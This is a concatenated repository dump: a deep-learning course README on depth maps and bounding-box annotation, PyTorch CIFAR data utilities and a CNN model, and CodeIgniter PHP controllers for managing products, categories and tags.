* We used [Intel's Midas](https://github.com/intel-isl/MiDaS) repository to generate the below heat/depth map in gray scale which can be converted to Colored map using Open CV color map but based on a fact that DL model is not biased towards the color we thought first to test with gray scale output and later change it to Colored map.
* Next we used [PlanerCNN](https://github.com/NVlabs/planercnn) code to generate segmented images that looks like below which will be required for next assignment.
* The Depth Image and pLanerCNN output will be as follows -
<img src="https://github.com/pruthiraj/EVA5_TEAM/blob/master/session14/Midas/114.png?raw=true" alt="MIDAS DEPTH MAP">
<img src ="https://github.com/pruthiraj/EVA5_TEAM/blob/master/session14/planercnn/1007_segmentation_0_final.png?raw=true" alt="PlanerCNN Output">
Note: The Planercnn code will also produce depth maps but are not as good as MIDAS one's So we have ommitted them and only considered Segmented image outputs.
## The Notebooks used for the image generation are -
* MIDAS Images were generated locally, using CLI
* [PlanerCNN segmented image Generator](https://colab.research.google.com/drive/11RHX60u2fNkbNQ14T1XWV3xNHmtp3cNA#scrollTo=yGqJiLw1dwVw)
<file_sep>
Journey to the Center of the AI
<file_sep># JSON Description
## First block of json code
```
{
"001.jpg9179":{
"filename":"001.jpg",
"size":9179,
"regions":[
{
"shape_attributes":{
"name":"rect",
"x":67,
"y":36,
"width":33,
"height":16
},
"region_attributes":{
"CLASS":"hardhat"
}
},
{
"shape_attributes":{
"name":"rect",
"x":60,
"y":74,
"width":38,
"height":62
},
"region_attributes":{
"CLASS":"vest"
}
},
{
"shape_attributes":{
"name":"rect",
"x":74,
"y":204,
"width":22,
"height":28
},
"region_attributes":{
"CLASS":"boots"
}
},
{
"shape_attributes":{
"name":"rect",
"x":89,
"y":205,
"width":34,
"height":23
},
"region_attributes":{
"CLASS":"boots"
}
}
],
"file_attributes":{
"caption":"",
"public_domain":"no",
"image_url":""
}
}
```
### Explanation
* File Name is the name of the image that is annotated.
* Size refers to the memory the image takes in bytes.
* Regions contains the information about bounding boxes that were annotated on the respective image.
* shape attributes is the information about the bounding boxes we annotated on the image.
* name refers to the bounding box shape (it can be rectangle(i.e rect) or polygon or circular).
* X and Y are the bounding box starting points i.e the point where the rectangle has been started in the image making the top left corner of the image as the reference point (0,0).
* Height, width refers to the height and width of the bounding box such that it can be used to find the other opposite end of the X,Y so that it will help us to calculate the centroid of the bounding box for our clustering approach.
* Region attribute will tell us about the class of the object on which we made a bounding box.
### Approach for finding bounding boxes clusters:
<img src = "https://github.com/pruthiraj/EVA5_TEAM/blob/master/session12B/image_annotation_sample.png" alt = "img 00_1.jpg ">
* The red dots are the X,Y in the shape attributes section
* The blue dots in the image represents the centriod of the bounding boxes we calculate using X,Y,Height,width parameters\
* These centriods are used to cluster the information and calculate the number of bounding boxes needed to cover all the images as we cannot use max number of boxes so that we are trying to reduce them by clustering the boxes making them use the nearest box.
### Cluster Graph
<img src = "https://github.com/pruthiraj/EVA5_TEAM/blob/master/session12B/cluster.png" alt = "cluster graph ">
### Cluster image
<img src = "https://github.com/pruthiraj/EVA5_TEAM/blob/master/session12B/cluster_image.png" alt = "cluster image">
<file_sep># from __future__ import print_function
import torch
import torch.optim as optim
from torchvision import datasets, transforms
from torch.optim.lr_scheduler import StepLR
from torchsummary import summary
import torchvision
import torch.nn as nn
import torch.nn.functional as F
import os
import numpy as np
import matplotlib.pyplot as plt
import model_utility.data_utils as dutils
import model_utility.model_utils as mutils
import model_utility.plot_utils as putils
import model_utility.regularization as regularization
import model_utility.alb_utils as alb
import tsai_models.model_cifar as model_cifar
import tsai_models.models as mod
import albumentations as A
from albumentations.pytorch import ToTensor
import grad_cam.grad_cam_viz as grad_cam_viz
import cv2
brightness_val =0.13
cantrast_val = 0.1
saturation_val = 0.10
Random_rotation_val = (-7.0, 7.0)
fill_val = (1,)
path = os.getcwd()
def get_dataset(train_transforms, test_transforms):
trainset = datasets.CIFAR10('./', train=True, download=True, transform=train_transforms)
testset = datasets.CIFAR10('./', train=False, download=True, transform=test_transforms)
return trainset, testset
def get_dataset_img_folder(train_dir, val_dir, train_transforms, test_transforms):
trainset = datasets.ImageFolder(root=train_dir, transform=train_transforms)
testset = datasets.ImageFolder(root=val_dir, transform=test_transforms)
return trainset, testset
def find_stats(path):
mean = []
stdev = []
data_transforms = A.Compose([transforms.ToTensor()])
trainset,testset = get_dataset(data_transforms,data_transforms,path)
data = np.concatenate([trainset.data,testset.data],axis = 0,out = None)
data = data.astype(np.float32)/255
for i in range(data.shape[3]):
tmp = data[:,:,:,i].ravel()
mean.append(tmp.mean())
# mean = [i*255 for i in mean]
stdev.append(tmp.std())
print('Image is having {} channels'.format(len(mean)))
print('Image Means are ',mean)
print('Image Standard deviations are ',stdev)
return mean,stdev
class AlbumCompose():
def __init__(self, transform=None):
self.transform = transform
def __call__(self, img):
img = np.array(img)
img = self.transform(image=img)['image']
return img
# def get_data_transform(path):
# means, stds = [0.4802, 0.4481, 0.3975], [0.2302, 0.2265, 0.2262]
# input_size = 64
# train_albumentation_transform = A.Compose([
# # A.Cutout(num_holes=3, max_h_size=8, max_w_size=8, always_apply=True, p=0.7,fill_value=[i*255 for i in mean]),
# A.RandomCrop(always_apply=True, p=0.70),
# A.Rotate( always_apply=True, limit=(-30,30), p=0.70),
# A.HorizontalFlip(p = 0.5,always_apply=True),
# A.HorizontalFlip(always_apply=True, p=0.5),
# A.ShiftScaleRotate(shift_limit=0.0625, scale_limit=0, rotate_limit=45, p=0.2),
# A.Normalize(mean=tuple(mean),std=tuple(stdev), max_pixel_value=255,always_apply=True, p=1.0),
# A.Resize(input_size,input_size),
# ToTensor()])
# # Test Phase transformation
# test_transforms = transforms.Compose([
# transforms.ToTensor(),
# transforms.Normalize(tuple(mean),tuple(stdev))
# ])
# train_transforms = AlbumCompose(train_albumentation_transform)
# # test_transforms = AlbumCompose(test_transforms)
# return train_transforms, test_transforms
def get_data_transform(path):
mean, stdev = [0.4802, 0.4481, 0.3975], [0.2302, 0.2265, 0.2262]
input_size = 64
train_albumentation_transform = A.Compose([
A.PadIfNeeded (min_height=70, min_width=70, border_mode=cv2.BORDER_REPLICATE, always_apply=True, p=1.0),
A.Cutout(num_holes=1, max_h_size=64, max_w_size=64, always_apply=True, p=0.7,fill_value=[i*255 for i in mean]),
# A.RGBShift (r_shift_limit=20, g_shift_limit=20, b_shift_limit=20, always_apply=False, p=0.5),
# A.ChannelShuffle(0.7) ,
A.RandomCrop(height=64,width=64,p=1,always_apply=False),
A.HorizontalFlip(p=0.7, always_apply=True),
A.ShiftScaleRotate(shift_limit=0.0625, scale_limit=0, rotate_limit=45, p=0.2),
A.Normalize(mean=tuple(mean),std=tuple(stdev), max_pixel_value=255,always_apply=True, p=1.0),
A.Resize(input_size,input_size),
ToTensor()])
# Test Phase transformation
test_transforms = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize(tuple(mean),tuple(stdev))
])
train_transforms = AlbumCompose(train_albumentation_transform)
# test_transforms = AlbumCompose(test_transforms)
return train_transforms, test_transforms
# Check if cuda is available
def get_device():
cuda = torch.cuda.is_available()
print("CUDA Available?", cuda)
device = torch.device("cuda:0" if cuda else "cpu")
print('Device is',device)
return device
def get_dataset(train_transforms, test_transforms,path):
trainset = datasets.CIFAR10(path, train=True, download=True, transform=train_transforms)
testset = datasets.CIFAR10(path, train=False, download=True, transform=test_transforms)
return trainset, testset
def get_dataloader(batch_size, num_workers, cuda,path):
print("Running over Cuda !! ", cuda)
dataloader_args = dict(shuffle=True, batch_size=batch_size, num_workers=4, pin_memory=True) if cuda else dict(shuffle=True, batch_size=64)
train_transforms, test_transforms = get_data_transform(path)
trainset, testset = get_dataset(train_transforms, test_transforms,path)
# train dataloader
train_loader = torch.utils.data.DataLoader(trainset, **dataloader_args)
# test dataloader
test_loader = torch.utils.data.DataLoader(testset, **dataloader_args)
return train_loader, test_loader,trainset, testset
def get_dataloader_img_folder(train_dir, val_dir, train_transforms, test_transforms, batch_size=32, num_workers=1):
cuda = torch.cuda.is_available()
print("CUDA Available?", cuda)
# dataloader arguments - something you'll fetch these from cmdprmt
dataloader_args = dict(shuffle=True, batch_size=batch_size, num_workers=num_workers, pin_memory=True) if cuda else dict(shuffle=True, batch_size=8)
trainset, testset = get_dataset_img_folder(train_dir, val_dir, train_transforms, test_transforms)
# train dataloader
train_loader = torch.utils.data.DataLoader(trainset, **dataloader_args)
# test dataloader
test_loader = torch.utils.data.DataLoader(testset, **dataloader_args)
return train_loader, test_loader
<file_sep>This folder contains basics understanding about CNN
<file_sep>from __future__ import print_function
import torch
import torchvision
import torch.nn as nn
import torch.nn.functional as F
from torchsummary import summary
import torch.optim as optim
from torchvision import datasets, transforms
from torch.optim.lr_scheduler import StepLR
import numpy as np
import matplotlib.pyplot as plt
import model_utility.data_utils as dutils
import model_utility.model_utils as mutils
import model_utility.plot_utils as putils
import model_utility.regularization as regularization
import model_file.model_cifar as model_cifar
import model_file.models as mod
import matplotlib.pyplot as plt
import seaborn as sns
class QuizDNN(nn.Module):
def __init__(self, dropout_value=0.15):
self.dropout_value = dropout_value
super(QuizDNN, self).__init__()
# 32 x 32 x 3
self.input = nn.Sequential(
nn.Conv2d(3, 32, kernel_size=(1, 1), padding=0, bias=False),
nn.BatchNorm2d(32),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.convblock1 = nn.Sequential(
nn.Conv2d(32, 32, kernel_size=(3, 3), padding=1, bias=False),
nn.BatchNorm2d(32),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.convblock2 = nn.Sequential(
nn.Conv2d(32, 32, kernel_size=(3, 3), padding=1, bias=False),
nn.BatchNorm2d(32),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.pool1 = nn.MaxPool2d(2, 2)
# input_size = 32 output_size = 16 receptive_field = 10 or 32*32*3 | Max(2,2) | 16 * 16 * 32
self.convblock3 = nn.Sequential(
nn.Conv2d(32, 64, kernel_size=(1, 1), bias=False),
nn.BatchNorm2d(64),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.convblock4 = nn.Sequential(
nn.Conv2d(64, 64, kernel_size=(3, 3), padding=1, bias=False),
nn.BatchNorm2d(64),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.convblock5 = nn.Sequential(
nn.Conv2d(64, 64, kernel_size=(3, 3), padding=1, bias=False),
nn.BatchNorm2d(64),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.pool2 = nn.MaxPool2d(2, 2)
# input_size = 16 output_size = 8 receptive_field = 32 or 16*16*64 | Max(2,2) | 8 * 8 * 64
self.convblock6 = nn.Sequential(
nn.Conv2d(64, 128, kernel_size=(1, 1), dilation=1, bias=False),
nn.BatchNorm2d(128),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.convblock7 = nn.Sequential(
nn.Conv2d(128, 128, kernel_size=(3, 3), padding=1, bias=False),
nn.BatchNorm2d(128),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.pool3 = nn.MaxPool2d(2, 2)
self.convblock8 = nn.Sequential(
nn.Conv2d(128, 128, kernel_size=(3, 3), padding=1, bias=False),
nn.BatchNorm2d(128),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.convblock9 = nn.Sequential(
nn.Conv2d(128, 128, kernel_size=(3, 3), padding=1, bias=False),
nn.BatchNorm2d(128),
nn.ReLU(),
nn.Dropout(self.dropout_value)
)
self.gap = nn.AdaptiveAvgPool2d(output_size=(1, 1))
self.convblock10 = nn.Sequential(
nn.Conv2d(128, 10, kernel_size=(1, 1), bias=False),
)
def forward(self, x):
x1 = self.input(x)
x2 = self.convblock1(x1)
x3 = self.convblock2(x1 + x2)
x4 = self.pool1(x1 + x2 + x3)
x4 = self.convblock3(x4)
x5 = self.convblock4(x4)
x6 = self.convblock5(x4 + x5)
x7 = self.convblock5(x4 + x5 + x6)
x8 = self.pool2(x5 + x6 + x7)
x8 = self.convblock6(x8)
x9 = self.convblock7(x8)
x10 = self.convblock8(x8 + x9)
x11 = self.convblock9(x8 + x9 + x10)
x12 = self.gap(x11)
x13 = self.convblock10(x12)
x13 = x13.view(-1, 10)
return x13
| 5b4d0d13532fb309509ece39e4d352bb83986a71 | [
"Markdown",
"Python"
] | 7 | Python | PrashantShinagare/EVA5_TEAM | 280765ae81465e9bb2f1133ced2d504d0fee7c0c | a52f4c881e69a739276b5525e3029529d9116261 |
refs/heads/master | <repo_name>sigsegv42/request-log-analyzer<file_sep>/lib/request_log_analyzer/file_format/haproxy_tcp.rb
module RequestLogAnalyzer::FileFormat
class Haproxy2 < RequestLogAnalyzer::FileFormat::Base
extend CommonRegularExpressions
# substitute version specific parts of the haproxy entry regexp.
def self.compose_regexp(millisecs, backends, counters, connections, queues)
%r{
\S+\s\s?\d+\s\d+:\d+:\d+\s
(#{ip_address})\s # syslog_ip
(\S+)\[(\d+)\]:\s # process_name '[' process_pid ']:'
(#{ip_address}):\d+\s # client_ip ':' client_port
\[(#{timestamp('%d/%b/%Y:%H:%M:%S')})#{millisecs}\]\s # '[' accept_date ']'
(\S+)\s # frontend_name
#{backends}
(\d+|-1)\/(\d+|-1)\/(\d+|-1)\s # queue_time '/' connect_time '/' total_time
\+?(\d+)\s # bytes_read
(\w|-)(\w|-)\s # termination_state
#{connections}
#{queues}
}x
end
# Define line types
# Oct 14 04:32:46 127.0.0.1 haproxy[2009]: 172.16.17.32:51662 [14/Oct/2010:04:32:46.413] Proxy_EU_STATUS_PAGE_ONLY_80 Proxy_EU_STATUS_PAGE_ONLY_80/<NOSRV> -1/-1/4 9331 PR 0/0/0/0/0 0/0
# line definition for haproxy 1.3 and higher
line_definition :haproxy13 do |line|
line.header = true
line.footer = true
#line.teaser = /\.\d{3}\] \S+ \S+\/\S+ / # .millisecs] frontend_name backend_name/server_name
line.regexp = compose_regexp(
'\.\d{3}', # millisecs
'(\S+)\/(\S+)\s', # backend_name '/' server_name
'(\d+|-1)\/(\d+|-1)\/(\d+|-1)\/(\d+|-1)\/\+?(\d+)\s', # Tq '/' Tw '/' Tc '/' Tr '/' Tt
'(\d+)\/(\d+)\/(\d+)\/(\d+)\/\+?(\d+)\s', # actconn '/' feconn '/' beconn '/' srv_conn '/' retries
'(\d+)\/(\d+)\s' # srv_queue '/' backend_queue
)
#line.capture(:syslog_timestamp).as(:string)
line.capture(:syslog_ip).as(:string)
line.capture(:process_name).as(:string)
line.capture(:process_pid).as(:integer)
line.capture(:client_ip).as(:string)
line.capture(:timestamp).as(:timestamp)
line.capture(:frontend_name).as(:string)
line.capture(:backend_name).as(:string)
line.capture(:server_name).as(:string)
line.capture(:queue_time).as(:nillable_duration, :unit => :msec)
line.capture(:connect_time).as(:nillable_duration, :unit => :msec)
line.capture(:total_time).as(:duration, :unit => :msec)
line.capture(:bytes_read).as(:traffic, :unit => :byte)
line.capture(:termination_event_code).as(:nillable_string)
line.capture(:terminated_session_state).as(:nillable_string)
line.capture(:actconn).as(:integer)
line.capture(:feconn).as(:integer)
line.capture(:beconn).as(:integer)
line.capture(:srv_conn).as(:integer)
line.capture(:retries).as(:integer)
line.capture(:srv_queue).as(:integer)
line.capture(:backend_queue).as(:integer)
end
# Define the summary report
report do |analyze|
analyze.hourly_spread :field => :timestamp
analyze.frequency :client_ip,
:title => "Hits per IP"
analyze.frequency :frontend_name,
:title => "Hits per frontend service"
analyze.frequency :backend_name,
:title => "Hits per backend service"
analyze.frequency :server_name,
:title => "Hits per backend server"
analyze.frequency :status_code,
:title => "HTTP response code frequency"
analyze.traffic :bytes_read,
:title => "Traffic per frontend service",
:category => lambda { |r| "#{r[:frontend_name]}"}
analyze.traffic :bytes_read,
:title => "Traffic per backend service",
:category => lambda { |r| "#{r[:backend_name]}"}
analyze.traffic :bytes_read,
:title => "Traffic per backend server",
:category => lambda { |r| "#{r[:server_name]}"}
analyze.duration :connect_time,
:title => "Time waiting for backend response",
:category => lambda { |r| "#{r[:backend_name]}"}
analyze.duration :total_time,
:title => "Total time spent on request",
:category => lambda { |r| "#{r[:backend_name]}"}
end
# Define a custom Request class for the HAProxy file format to speed up
# timestamp handling. Shamelessly copied from apache.rb
class Request < RequestLogAnalyzer::Request
MONTHS = {'Jan' => '01', 'Feb' => '02', 'Mar' => '03', 'Apr' => '04', 'May' => '05', 'Jun' => '06',
'Jul' => '07', 'Aug' => '08', 'Sep' => '09', 'Oct' => '10', 'Nov' => '11', 'Dec' => '12' }
# Do not use DateTime.parse, but parse the timestamp ourselves to return
# a integer to speed up parsing.
def convert_timestamp(value, definition)
"#{value[7,4]}#{MONTHS[value[3,3]]}#{value[0,2]}#{value[12,2]}#{value[15,2]}#{value[18,2]}".to_i
end
# Make sure that the strings '-' or '{}' or '' are parsed as a nil value.
def convert_nillable_string(value, definition)
value =~ /-|\{\}|^$/ ? nil : value
end
# Make sure that -1 is parsed as a nil value.
def convert_nillable_duration(value, definition)
value == '-1' ? nil : convert_duration(value, definition)
end
end
end
end
| 39b743b147b496b6e7dfa28e704675e29432be42 | [
"Ruby"
] | 1 | Ruby | sigsegv42/request-log-analyzer | 24d15d066b2559ee97ac42b9af9fd742142a65de | 3373a50b0d97a938c2ee0f566f71387e93d1e94a |
refs/heads/master | <repo_name>xiaowing/automailer<file_sep>/src/automailer.py
#!/usr/bin/env python
#coding: utf-8
import smtplib
import sys, getopt
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from confreader import MailfigReader
class MailSender:
def __init__(self, host, user, user_addr, pwd):
at_index = user_addr.find('@')
if (at_index == -1):
raise Exception("Incorrect user address.")
self.__user = user
self.__addr = user_addr
self.__host = host
self.__pwd = pwd
def SendAllOnce(self, recv_dict, fmttext):
if not isinstance(recv_dict, dict):
raise Exception("Incorrect parameter type.")
msg = self.__createMIMEmsg(recv_dict, fmttext)
if msg:
self.__send2one(msg)
def SendAllRespective(self, recv_dict, fmttext):
if not isinstance(recv_dict, dict):
raise Exception("Incorrect parameter type.")
for k, v in recv_dict.items():
msg = self.__createMIMEmsg({k:v}, fmttext)
if msg:
self.__send2one(msg)
def __send2one(self, msg):
# http://blog.csdn.net/bravezhe/article/details/7659198
if not isinstance(msg, MIMEMultipart):
raise Exception("Incorrect parameter type.")
try:
smtp = smtplib.SMTP()
smtp.connect(self.__host)
smtp.login(self.__user, self.__pwd)
smtp.sendmail(msg['From'], msg['To'], msg.as_string())
smtp.quit()
except smtplib.SMTPException as e:
print(str(e))
def __createMIMEmsg(self, recv_dict, fmttext):
subject = fmttext[0]
content = fmttext[1]
'''msg = MIMEText(self.__embedreceiver(name, content))'''
if not isinstance(recv_dict, dict):
raise Exception("Incorrect parameter type.")
msg = MIMEMultipart()
msg['Subject'] = subject
msg['From'] = self.__user+"<"+self.__addr+">"
if len(recv_dict) > 1:
to_addr = ';'.join(list(recv_dict.keys()))
elif len(recv_dict) == 1:
to_addr = list(recv_dict.keys())[0]
else:
raise Exception("Empty dictionary keys")
msg['To'] = to_addr
name = ''
if len(recv_dict) > 1:
i = 0
for value in list(recv_dict.values()):
if value.strip():
name += (value + ',')
i += 1
if i % 5 == 0:
name += '\n'
pos = name.rfind(',')
name = name[:pos]
name += ':'
elif len(recv_dict) == 1:
name = list(recv_dict.values())[0]
if not name.strip():
name += ':'
else:
raise Exception("Empty dictionary values")
txt = MIMEText(self.__embedreceiver(name, content))
msg.attach(txt)
# TODO: attachment
return msg
def __embedreceiver(self, name, mailcontxt):
return str(mailcontxt %name)
def usage():
print ("usage: python automailer -i configfile -f mailtxt [-a attachment] [-r | --respectively]")
def main(argv):
if len(argv) < 5 or len(argv) > 8:
print("Invalid arguments.")
usage()
sys.exit(1)
format_string = ("i:f:r", "i:f:a:r")
try:
if "-a" in argv:
opts, args = getopt.getopt(sys.argv[1:], format_string[1], ["respectively"])
else:
opts, args = getopt.getopt(sys.argv[1:], format_string[0], ["respectively"])
except getopt.GetoptError as err:
print(str(err))
sys.exit(2)
resflag = False
for op, value in opts:
if op == "-i":
configpath = value
elif op == "-f":
txtfilepath = value
elif op == "-a":
attachpath = value
elif op in ['-r', '--respectively']:
resflag = True
else:
print(str("Unrecognised option."))
usage()
sys.exit(3)
# sender = MailSender(smtpserver, useraddr, password)
configReader = MailfigReader(configpath, txtfilepath)
from_dict = configReader.GetFromDict()
smtpserver = from_dict[MailfigReader.KEY_SMTPSV]
username = from_dict[MailfigReader.KEY_USRNAME]
mailaddr = from_dict[MailfigReader.KEY_USRADDR]
password = from_dict[MailfigReader.KEY_USRPWD]
sender = MailSender(smtpserver, username, mailaddr, password)
to_dict = configReader.GetToDict()
fmttext = configReader.GetFmtText()
if resflag:
sender.SendAllRespective(to_dict, fmttext)
else:
sender.SendAllOnce(to_dict, fmttext)
sys.exit(0)
if __name__=='__main__':
main(sys.argv)
<file_sep>/README.md
# automailer #
## Summary ##
automailer一个用于批处理邮件分发的小工具。 写这个工具的初衷是在日常工作中有时候由于种种考量,需要将同样的邮件单独发给若干个不同的人。
automailer的使用方法如下:
```
$> python automailer -i configfile -f mailtxt [-a attachment] [-r | --respectively]
```
选项的意思如下:
* -i : 指定的配置文件(ini格式)
* -f : 指定的邮件正文模板(需要是纯文本)
* -a : 邮件的附件指定(尚未实现)
* -r(或 --respectively) : 当收件人有多个时,邮件将单独发给各个收件人。如不指定此项,则默认将所有收件人在一封邮件内全部作为TO对象,并发送。
## Config File Format ##
由于该工具的配置文件选择了ini格式,因此对于内容和形式上有所限制。一个模板如下:
```
[sender]
smtp = smtp.xxx.com
user = xiaowing
address = <EMAIL>
password = $$$$$$$
[receiver]
<EMAIL> = <NAME>
<EMAIL> = <NAME>
<EMAIL> = <NAME>
[mailtext]
subject = A test mail for you!
```
* sender段 : 配置送信者的SMTP认证信息等
* receiver段 : 配置收件人一览。这里需要将邮件地址作为key,收件人姓名作为value。因为有可能会有重名
* mailtext :其实没啥作用,就是想有个地方设置邮件标题...
- 以上 -
<file_sep>/src/confreader.py
#!/usr/bin/env python
#coding: utf-8
import os.path
import configparser
class MailfigReader(object):
__SECTION_RECEIVER = 'receiver'
__SECTION_SENDER = 'sender'
__SECTION_MAILTXT = 'mailtext'
KEY_SMTPSV = 'smtp'
KEY_USRNAME = 'user'
KEY_USRADDR = 'address'
KEY_USRPWD = '<PASSWORD>'
__KEY_SUBJECT = 'subject'
def __init__(self, inipath, txtpath):
if not isinstance(inipath, str):
raise Exception("Incorrect user address.")
if not isinstance(txtpath, str):
raise Exception("Incorrect user address.")
if not os.path.isfile(inipath):
raise Exception("Invalid config file.")
if not os.path.isfile(txtpath):
raise Exception("Invalid config file.")
# TODO: character encoding
self.__config = configparser.ConfigParser()
self.__config.read(inipath)
self.__txtfle = open(txtpath)
def GetFromDict(self):
from_dict = dict()
if MailfigReader.__SECTION_SENDER in self.__config:
for k,v in self.__config[MailfigReader.__SECTION_SENDER].items():
if(k in [MailfigReader.KEY_SMTPSV, MailfigReader.KEY_USRNAME,
MailfigReader.KEY_USRADDR, MailfigReader.KEY_USRPWD]):
from_dict[k] = v
if len(from_dict) != 4:
self.__txtfle.close()
raise Exception("Invalid config file content.")
return from_dict
def GetToDict(self):
to_dict = dict()
if MailfigReader.__SECTION_RECEIVER in self.__config:
for k,v in self.__config[MailfigReader.__SECTION_RECEIVER].items():
to_dict[k] = v
return to_dict
def GetFmtText(self):
fmttxt = list()
if MailfigReader.__SECTION_MAILTXT in self.__config:
try:
fmttxt.append(str(self.__config[MailfigReader.__SECTION_MAILTXT][MailfigReader.__KEY_SUBJECT]))
except configparser.NoOptionError as e:
self.__txtfle.close()
raise Exception(e)
try:
mailtxt = self.__txtfle.read()
fmttxt.append(mailtxt)
except IOError as ex:
raise Exception(ex)
finally:
self.__txtfle.close()
return fmttxt
| 83fd1b0873d03c29890d24650e3865e9e3eedaba | [
"Markdown",
"Python"
] | 3 | Python | xiaowing/automailer | 0eb89da7036a79f17bde17c5e02188c0f0c1505b | 1256457e7464660845cc6aa818b0e9a3f4cad6bc |
refs/heads/master | <repo_name>ajandorek/vue-store-front<file_sep>/index.js
const bodyParser = require('body-parser');
const express = require('express');
const mongoose = require('mongoose');
require('./models/Items');
const app = express();
const Item = mongoose.model('items');
const PORT = process.env.PORT || 5000;
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.text());
app.use(bodyParser.json({ type: 'application/vnd.api+json' }));
mongoose.connect('mongodb://localhost:27017/storefront');
app.get('/', (req, res) => {
res.send('It works!');
});
app.post('/api/add_product', (req, res) => {
Item.create({
name: req.body.name,
description: req.body.description,
price: req.body.price,
productId: req.body.productId,
department: req.body.department
}).then(obj => res.json(obj));
});
app.get('/api/products', (req, res) => {
Item.find({}).exec((err, doc) => {
if (err) {
console.log(err);
} else {
res.send(doc);
}
});
});
app.listen(PORT, () => {
console.log(`App running on port ${PORT}`);
});
| 9b402551009c754f51a35964a4068d3a387bdc59 | [
"JavaScript"
] | 1 | JavaScript | ajandorek/vue-store-front | d03a78a820f9908092e32770048ef281e412cb01 | a14845c6ca2c3d5dfaed9a5a1d8203c74959fecd |
refs/heads/master | <file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
use Illuminate\Database\Capsule\Manager as Capsule;
use Illuminate\Container\Container;
class Orm
{
protected $_CI;
function __construct()
{
$this->_CI =& get_instance();
switch (env('DB_DRIVER', 'sqlite')) {
case 'mysql':
$driver = [
'driver' => 'mysql',
'host' => env('DB_HOST', 'localhost'),
'database' => env('DB_NAME', 'test'),
'username' => env('DB_USER', 'root'),
'password' => env('DB_PASS', ''),
];
break;
case 'sqlite':
$driver = [
'driver' => 'sqlite',
'database' => __DIR__ . '/../../database.sqlite',
];
break;
}
$capsule = new Capsule;
$capsule->addConnection($driver);
$capsule->setAsGlobal();
$capsule->bootEloquent();
}
}<file_sep><?php
use Illuminate\Database\Eloquent\Model;
/**
* Product
*/
class Product extends Model
{
protected $fillable = ['title', 'slug', 'image', 'detail', 'cat_id'];
public function category()
{
return $this->belongsTo(Category::class, 'cat_id');
}
public function tags()
{
return $this->belongsToMany(Tag::class);
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Monolog
{
protected $_CI;
function __construct()
{
$this->_CI =& get_instance();
$log = new Monolog\Logger(env('APP_NAME', 'Codeigniter'));
$log->pushHandler(new Monolog\Handler\StreamHandler(__DIR__ . '/../logs/app.log', Monolog\Logger::DEBUG));
$this->log = $log;
}
function debug($message, $context = [])
{
return $this->log->debug($message, $context);
}
function info($message, $context = [])
{
return $this->log->info($message, $context);
}
function warning($message, $context = [])
{
return $this->log->warning($message, $context);
}
function error($message, $context = [])
{
return $this->log->error($message, $context);
}
function critical($message, $context = [])
{
return $this->log->critical($message, $context);
}
function alert($message, $context = [])
{
return $this->log->alert($message, $context);
}
function emergency($message, $context = [])
{
return $this->log->emergency($message, $context);
}
}<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
use Intervention\Image\ImageManagerStatic as Image;
class Produk extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->load->model(['Product', 'Category', 'Tag']);
Image::configure(['driver' => 'imagick']);
}
public function index()
{
$products = Product::get();
return $this->twig->display('admin/produk/index', compact('products'));
}
public function tambah()
{
if (!empty($_POST)) {
$_POST['slug'] = str_slug($_POST['title']);
$_POST['image'] = $_FILES['image']['name'];
Image::make($_FILES['image']['tmp_name'])->fit(600, 600)->save('./assets/images/' . $_FILES['image']['name']);
foreach ($_POST['tag'] as $key => $value) {
$data = Tag::whereSlug(str_slug($value))->first();
if ($data) {
$tags[] = $data->id;
} else {
$data = Tag::create(['name' => ucwords($value), 'slug' => str_slug($value)]);
$tags[] = $data->id;
}
}
$product = Product::create($_POST);
$product->tags()->sync(is_array($tags) ? $tags : [], false);
return redirect('manage/produk');
}
$categories = Category::get();
$tags = Tag::get();
return $this->twig->display('admin/produk/create', compact('categories', 'tags'));
}
public function detail($id)
{
$product = Product::find($id);
return $this->twig->display('admin/produk/tampil', compact('product'));
}
public function edit($id)
{
$product = Product::find($id);
if (!empty($_POST)) {
$_POST['title'] = ucwords($_POST['title']);
$_POST['slug'] = str_slug($_POST['title']);
$_POST['image'] = $_FILES['image']['name'];
$image = Image::make($_FILES['image']['tmp_name'])->fit(600, 600)->save('./assets/images/' . $_FILES['image']['name']);
foreach ($_POST['tag'] as $key => $value) {
$data = Tag::whereSlug(str_slug($value))->first();
if ($data) {
$tags[] = $data->id;
} else {
$data = Tag::create(['name' => ucwords($value), 'slug' => str_slug($value)]);
$tags[] = $data->id;
}
}
$product->update($_POST);
$product->tags()->sync(is_array($tags) ? $tags : []);
return redirect('manage/produk/detail/' . $product->id);
}
$categories = Category::get();
$tags = Tag::get();
return $this->twig->display('admin/produk/edit', compact('product', 'categories', 'tags'));
}
public function hapus($id)
{
$product = Product::destroy($id);
return redirect('manage/produk');
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Kelola extends CI_Controller
{
public function __construct()
{
parent::__construct();
}
public function index()
{
return $this->twig->display('admin/index');
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Kategori extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->load->model(['Category']);
}
public function index()
{
$categories = Category::get();
return $this->twig->display('admin/kategori/index', compact('categories'));
}
public function tambah()
{
if (!empty($_POST)) {
Category::create(['name' => ucwords($_POST['name']), 'slug' => str_slug($_POST['name'])]);
return redirect('manage/kategori');
}
return $this->twig->display('admin/kategori/create');
}
public function detail($id)
{
$category = Category::find($id);
return $this->twig->display('admin/kategori/tampil', compact('category'));
}
public function edit($id)
{
$category = Category::find($id);
if (!empty($_POST)) {
$category->update(['name' => ucwords($_POST['name']), 'slug' => str_slug($_POST['name'])]);
return redirect('manage/kategori/detail/' . $category->id);
}
return $this->twig->display('admin/kategori/edit', compact('category'));
}
public function hapus($id)
{
